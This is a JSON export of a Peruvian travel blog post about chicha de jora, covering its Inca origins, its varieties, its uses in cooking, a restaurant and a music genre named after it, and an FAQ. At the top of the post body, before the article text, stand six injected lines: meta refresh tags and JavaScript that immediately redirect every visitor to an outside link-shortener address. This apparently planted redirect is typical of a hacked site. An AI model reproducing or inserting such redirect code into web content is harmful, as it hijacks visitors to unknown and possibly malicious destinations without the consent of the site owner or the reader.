{"id":7558,"date":"2025-06-11T11:46:19","date_gmt":"2025-06-11T16:46:19","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=7558"},"modified":"2025-06-11T11:46:47","modified_gmt":"2025-06-11T16:46:47","slug":"chicha-incas-legacy-in-a-glass","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/chicha-incas-legacy-in-a-glass\/","title":{"rendered":"Chicha: Incas\u2019 Legacy in a Glass"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Between the vast and abundant legacy <a href=\"https:\/\/viajesmachupicchu.travel\/en\/tips-for-travelers\/all-about-peru-updated-information\"><strong>Peru<\/strong><\/a> has received from the Incas, there\u2019s a palpable legacy that\u2019s over 500 years old, and people from the Peruvian Andes to the Amazon jungle still consume.<\/p>\n\n\n\n<p>We\u2019re talking about the &#8220;Chicha de Jora&#8221;, a corn-beer-like drink from the <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-legends-the-origin-of-the-inca-empire\/\" title=\"\">Inca Empire<\/a><\/strong>. This drink was important in Incas\u2019diet diet then and is still part of Peruvian daily life. Let\u2019s find out about this ancestral drink&#8217;s history, details, and curiosities.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What exactly is Chicha de Jora?<\/strong><\/h2>\n\n\n\n<p>In Peru, there are plenty of <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-golden-legacy-of-the-peruvian-corn\/\" title=\"\">corn kinds<\/a><\/strong>; the ones that people use for making this ancient potion are white or yellow corn called<em> &#8220;Jora&#8221;.<\/em> <\/p>\n\n\n\n<p>This corn goes through the germination and fermentation process before people can use it. This gives it its distinct flavor and qualities.<\/p>\n\n\n\n<p> During the Inca times, this drink was central to important ceremonies and religious events, such as human sacrifices.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/corn-43314_1280.jpg?resize=697%2C523&#038;ssl=1\" alt=\"corn spices\" class=\"wp-image-7573\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/corn-43314_1280.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/corn-43314_1280.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/corn-43314_1280.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/corn-43314_1280.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/corn-43314_1280.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Different kinds of corn, in Peru<\/strong><\/figcaption><\/figure>\n\n\n\n<p>Incas believed that drinking &#8220;chicha de jora&#8221; was a way to communicate with the <em><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-apus-sacred-protectors-of-the-peruvian-andes-mountains\/\" title=\"\">\u201capus\u201d<\/a><\/strong><\/em> (mountain deities), gods, and their ancestors. Incan royalty most likely drank chicha from ceremonial cups called<em> \u201ckeros\u201d<\/em>.<\/p>\n\n\n\n<p>Chicha was a key part of <em><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/pachamamas-month-everything-you-need-to-know\/\" title=\"\">&#8220;Pachamama&#8221;<\/a><\/strong><\/em> rituals that worshiped the gods and Mother Earth. The traditional chicha-making process is a tedious task, taking more than 15 days from start to finish.&nbsp;<\/p>\n\n\n\n<p>The result is a hazy yellow liquid with a sour, somewhat corn-like flavor. The result is an alcoholic drink with a low alcohol concentration.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Chicha de Jora, the origin<\/strong><\/h2>\n\n\n\n<p>The legend has it that winter was harsher under the reign of Inca Tupac Yupanqui. Heavy rains slammed the empire, and many people lost their homes and supplies. <\/p>\n\n\n\n<p>The rain&#8217;s humidity reached the containers where workers stored the corn, ruining the crop.&nbsp;Mixing corn seeds with rainfall fermented them. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/15121879695_434aeb9b0f_k.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-12789\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/15121879695_434aeb9b0f_k.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/15121879695_434aeb9b0f_k.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/15121879695_434aeb9b0f_k.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/15121879695_434aeb9b0f_k.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/15121879695_434aeb9b0f_k.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/15121879695_434aeb9b0f_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/15121879695_434aeb9b0f_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Kero, ceremonial Inca container<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Just by coincidence, the Incas found corn malt. Initially, they attempted to distribute this new drink to the broader population. However, when people smelled its aroma, they assumed they had ruined it and discarded it.<\/p>\n\n\n\n<p>However, in a strange coincidence, a hungry indigenous man discovered this drink in the trash and decided to consume it. He could satisfy his thirst, but he got drunk. Later, people know chicha as the main beverage of the Empire.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>During the colonial time<\/strong><\/h2>\n\n\n\n<p>When the Spaniards arrived in the South American country, around 1500, Inca Atahualpa offered chicha contained in a<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/kero-symbol-of-inca-tradition-and-rituals\/\" title=\"\"> kero<\/a><\/strong> to the Dominican priest Vicente de Valverde as a gesture of friendship.<\/p>\n\n\n\n<p>The priest, who was unfamiliar with this political ceremony, felt<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/atahualpa-the-last-emperor-of-the-incas\/\" title=\"\"> Atahualpa <\/a><\/strong>was attempting to poison him and knocked the drink to the ground. This conduct enraged the Inca emperor, destroying any prospect of a positive relationship between the two.<\/p>\n\n\n\n<p>Someone pours the foam that collects at the top of the glass onto the ground to honor Pachamama. This tradition is still performed today.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Types of Chicha<\/strong><\/h2>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/6957865432_a42f8f5d9c_o.jpg?resize=697%2C464&#038;ssl=1\" alt=\"chcha morada\" class=\"wp-image-12760 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/6957865432_a42f8f5d9c_o.jpg?resize=1024%2C682&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/6957865432_a42f8f5d9c_o.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/6957865432_a42f8f5d9c_o.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/6957865432_a42f8f5d9c_o.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/6957865432_a42f8f5d9c_o.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Chicha Morada<\/strong><\/h3>\n\n\n\n<p>By 100 AD, the Moche culture advanced this legacy with innovative irrigation and agricultural methods. Later, the Inca civilization expanded corn cultivation into the Andes. This history intertwines with Chicha Morada, a non-alcoholic <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-traditional-drinks-must-try-beverages\/\" title=\"\">traditional Peruvian drink<\/a><\/strong> made by boiling deep purple corn, pineapple rind, clove, and local fruits. People enjoy chicha across Peru in different places. <strong>Tip<\/strong>: Some people enhance the flavor of this delicious drink by adding sugar and cinnamon.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"383\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/5f6cca8bdf84d93c3d2a3952.jpg?resize=697%2C383&#038;ssl=1\" alt=\"gui\u00f1apo chicha\" class=\"wp-image-12762 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/5f6cca8bdf84d93c3d2a3952-scaled.jpg?resize=1024%2C563&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/5f6cca8bdf84d93c3d2a3952-scaled.jpg?resize=300%2C165&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/5f6cca8bdf84d93c3d2a3952-scaled.jpg?resize=768%2C422&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/5f6cca8bdf84d93c3d2a3952-scaled.jpg?resize=1536%2C845&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/5f6cca8bdf84d93c3d2a3952-scaled.jpg?resize=2048%2C1127&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/5f6cca8bdf84d93c3d2a3952-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Chicha de Gui\u00f1apo<\/strong><\/h3>\n\n\n\n<p>The phrase &#8220;g\u00fci\u00f1apo&#8221; comes from Quechua and means &#8220;to ripen&#8221; or &#8220;to age.&#8221; Fermenting black or purple corn grains that have germinated black corn makes G\u00fci\u00f1apo. Ancient locals domesticated this chicha thousands of years ago.&nbsp; Regions of Peru, such as Trujillo, <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chiclayo-discover-why-it-won-the-new-popes-heart\/\" title=\"\">Chiclayo<\/a><\/strong>, or Chachapoyas, have their own version of fermented beverages. Try them all!<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Frutillada-Andean-Culture-in-a-Glass-1.webp?resize=697%2C464&#038;ssl=1\" alt=\"\" class=\"wp-image-12805 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Frutillada-Andean-Culture-in-a-Glass-1.webp?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Frutillada-Andean-Culture-in-a-Glass-1.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Frutillada-Andean-Culture-in-a-Glass-1.webp?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Frutillada-Andean-Culture-in-a-Glass-1.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Frutillada<\/strong><\/h3>\n\n\n\n<p>This drink is a kind of chicha de jora made with the smaller, more flavorful frutilla, a type of strawberry native to the Andes of Peru. It is a safer substitute for Chicha de Jora, which is sweeter. Frutillada is more aesthetically pleasing and kinder to the palate because of its pink color. In<a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinos\/cusco\"><strong> Cusco<\/strong><\/a> is a popular drink for people of all ages<\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading has-text-align-left\"><strong>Chicha in Peruvian Gastronomy<\/strong><\/h2>\n\n\n\n<p>Chicha de jora is useful as the base for soups and stews, adding a unique flavor and texture to these Peruvian dishes. For example, people use it in the preparation of the popular Peruvian dish &#8220;seco de cordero,&#8221; where it serves as a cooking liquid for lamb, providing an intense flavor and a smooth texture.<\/p>\n\n\n\n<p>People also use it in traditional Peruvian dishes such as<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-anticucho-the-beloved-street-food\/\" title=\"\"> &#8220;<strong>anticucho<\/strong><\/a>&#8220;, &#8220;<em>adobo&#8221;, or <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/seco-de-cabrito-a-peruvian-stew-that-won-the-popes-heart\/\" title=\"\">seco de cabrito<\/a><\/strong><\/em>. In these Peruvian dishes, chicha de jora acts as a marinade agent, tenderizing the meat and imparting a characteristic flavor.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"408\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?resize=697%2C408&#038;ssl=1\" alt=\"freshly cooked anticucho dish\" class=\"wp-image-13196\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?resize=300%2C176&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?resize=768%2C450&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Additionally, chicha jora is utilized in Peruvian pastries, particularly when making traditional desserts. It adds a distinct flavor and perfume to cakes and sponge cakes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Chicha in Peruvian Modern Culture<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Gaston Acurio, the Mastermind of the Peruvian Food Boom<\/strong><\/h3>\n\n\n\n<p>The character why Peruvian food top in international food competitions is Gaston Acurio, a Peruvian chef, well-renowned in Peru thanks to his publications, TV programs, and restaurants, such as Chicha, the most popular of his restaurants, named after the traditional Peruvian beverage.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"545\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/75d4f929255217.57bdecb19fa6d.jpg?resize=697%2C545&#038;ssl=1\" alt=\"chcha restaurant chain logo\" class=\"wp-image-12784\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/75d4f929255217.57bdecb19fa6d.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/75d4f929255217.57bdecb19fa6d.jpg?resize=300%2C234&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/75d4f929255217.57bdecb19fa6d.jpg?resize=768%2C600&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Recently, his restaurant earned awards and recognition, and it was added to the famous Michelin Guide. Chicha has locations in Cusco and Arequipa in Peru, and abroad in Germany.<\/p>\n\n\n\n<p> Chicha specializes in regional food using regional ingredients and leading culinary techniques to create each dish, which is also infused with local ingredients, customs, and culture.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ni Chicha ni Limonada<\/strong><\/h3>\n\n\n\n<p>Peruvians have an interesting relationship with food: It\u2019s part of <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-slang-and-expressions-crash-course\/\" title=\"\">our language<\/a><\/strong>! We\u2019ve got plenty of colloquialisms, slang, and frequent words related to food. For example, <em>Habla causa! <\/em>(What\u2019s up) Causa is a typical <strong>Peruvian dish<\/strong> made from mashed potatoes with a filling in the middle.<\/p>\n\n\n\n<p class=\"has-text-align-left\"><em>Cual es tu cau cau?<\/em> (What\u2019s wrong with you?) alludes to another typical dish. When we say something is a piece of cake, we say \u201cpapaya\u201d,&nbsp; when you aren\u2019t lucky, we tell you  &#8220;pi\u00f1a\u201d (ananas, tropical fruit), or if you\u2019ve said you\u2019re \u201c<em>lenteja\u201d<\/em> means you\u2019re too slow.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"374\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/19-foto-final-1024x683-1-1024x550-1.jpg?resize=697%2C374&#038;ssl=1\" alt=\"people speaking peruvian\" class=\"wp-image-12785\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/19-foto-final-1024x683-1-1024x550-1.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/19-foto-final-1024x683-1-1024x550-1.jpg?resize=300%2C161&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/19-foto-final-1024x683-1-1024x550-1.jpg?resize=768%2C413&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p class=\"has-text-align-left\">Peruvians have a phrase,<em><strong> \u201cNi chicha ni limonada,<\/strong><\/em>\u201d that means \u201cNeither one nor the other.\u201d We use that phrase to refer to someone who lacks conviction or character. Here you have another reference to the ancient drink used until today.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chicha Music<\/strong><\/h3>\n\n\n\n<p class=\"has-text-align-left\"><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-chicha-music-the-sound-of-the-people\/\" title=\"\">Chicha Music<\/a><\/strong> is the Peruvian answer to Colombia&#8217;s cumbia movement in Latin America. By the end of the &#8217;40s, lots of people living in &#8220;Provincia&#8221; (cities outside Lima)  moved the the capital looking for better chances in life for themselves and their families.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"382\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/grupos-cumbia-1.jpg?resize=697%2C382&#038;ssl=1\" alt=\"chicha music and chicha bands like Chacalon, Shapys o Los Destellos\" class=\"wp-image-12503\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/grupos-cumbia-1.jpg?w=895&amp;ssl=1 895w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/grupos-cumbia-1.jpg?resize=300%2C164&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/grupos-cumbia-1.jpg?resize=768%2C420&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p class=\"has-text-align-left\">Its lyrics reflect the pain and sadness of people who left their homes behind. Over time, Chicha evolved to more complicated sounds, such as psychedelic rock and pop. People say that if Chicha misses a party, the party is not just a party.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>F.A.Qs About Chicha<\/strong><\/h2>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Where Can I Drink Chicha?<\/strong><\/h4>\n\n\n\n<p>Peruvian \u201cpicanterias\u201d (Peruvian traditional restaurants) are a good place to find chicha de jora and its variations. \u201cChicherias\u201d or &#8220;Ajha Wasi&#8221; (Places specialized in chicha, similar to pubs or taverns that offer food like picanterias) are not common nowadays; however, if you find one, you can give it a try!<\/p>\n\n\n\n<p>You can tell them that chicherias have a tall pole with red plastic or red cloth wrapped around the entrance of a house. During your trip to the Sacred Valley or in Cusco downtown, you can find street vendors offering Chicha.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Is Chicha Safe to Drink?<\/strong><\/h4>\n\n\n\n<p>Yes, it is, as the fermentation process eliminates all the bacteria; however, be careful where you try it.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/6016464405_655a0240dd_b.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Two &quot;caporal&quot; glasses of frutillada and chicha de jora in a table of a chicheria\" class=\"wp-image-12794\" style=\"width:680px;height:auto\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/6016464405_655a0240dd_b.jpg?w=1023&amp;ssl=1 1023w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/6016464405_655a0240dd_b.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/6016464405_655a0240dd_b.jpg?resize=768%2C513&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/6016464405_655a0240dd_b.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Salud!<\/strong><\/figcaption><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Does the Chicha have properties?<\/strong><\/h4>\n\n\n\n<p>Especially in the Andes, people say that chicha fortifies the body and gives energy. Chicha morada is good for health as it is scientifically proven to have antioxidants.<\/p>\n\n\n\n<h4 class=\"wp-block-heading has-text-align-left\"><strong>How Much alcohol is in the Chicha?<\/strong><\/h4>\n\n\n\n<p class=\"has-text-align-left\">The grade of alcohol varies according to the type of chicha and the person who made it. Factors like fermentation time and the way of preparation affect how much alcohol the chicha will have<\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-very-dark-gray-color has-css-opacity has-very-dark-gray-background-color has-background is-style-wide\"\/>\n\n\n\n<p class=\"has-text-align-left\">Are you thirsty yet? So, try a glass of Chicha in Peru, Cusco, or Arequipa, the best places where we recommend drinking it. Before you try it, keep in mind the legacy of this ancient tradition and what it represents for us, Peruvians.<\/p>\n\n\n\n<p class=\"has-text-align-left\">Finally, keep in mind that<strong> Viagens Machu Picchu<\/strong> allows you to learn more about Peru, its fascinating <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\">destinations<\/a><\/strong>, and its food. <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/promotions\">Ask<\/a><\/strong> about our food tours, including chicha, and enjoy the real Peruvian cuisine! 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